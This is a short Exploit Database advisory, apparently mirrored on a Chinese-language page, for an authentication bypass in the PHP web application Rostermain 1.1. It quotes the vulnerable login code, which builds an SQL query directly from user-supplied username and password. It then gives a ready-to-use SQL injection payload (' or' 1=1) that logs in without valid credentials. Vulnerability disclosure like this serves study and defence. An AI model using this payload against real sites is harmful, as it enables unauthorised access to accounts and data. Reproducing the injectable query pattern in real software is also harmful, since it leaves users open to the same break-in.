Rostermain 1.1 – Authentication Bypass

• Exploit Database
• 10 阅读

• 作者： cr4wl3r
  日期： 2010-02-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11356/

• [+] Rostermain <= 1.1 (Auth Bypass) SQL Injection Vulnerability
  [+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
  [+] Download : http://scripts.ringsworld.com/games-and-entertainment/rostermain/
  
  
  [+] Vuln Code : 
  
  [index.php]
  
  if ($_POST['userid'] && $_POST['password'])
  {
  // if the user has just tried to log in
  $logquery = "select * from users "
   ."where username='$userid' "
   ." and passwd='$password' ";
  
  [+] PoC : 
  
  username :' or' 1=1
  password :' or' 1=1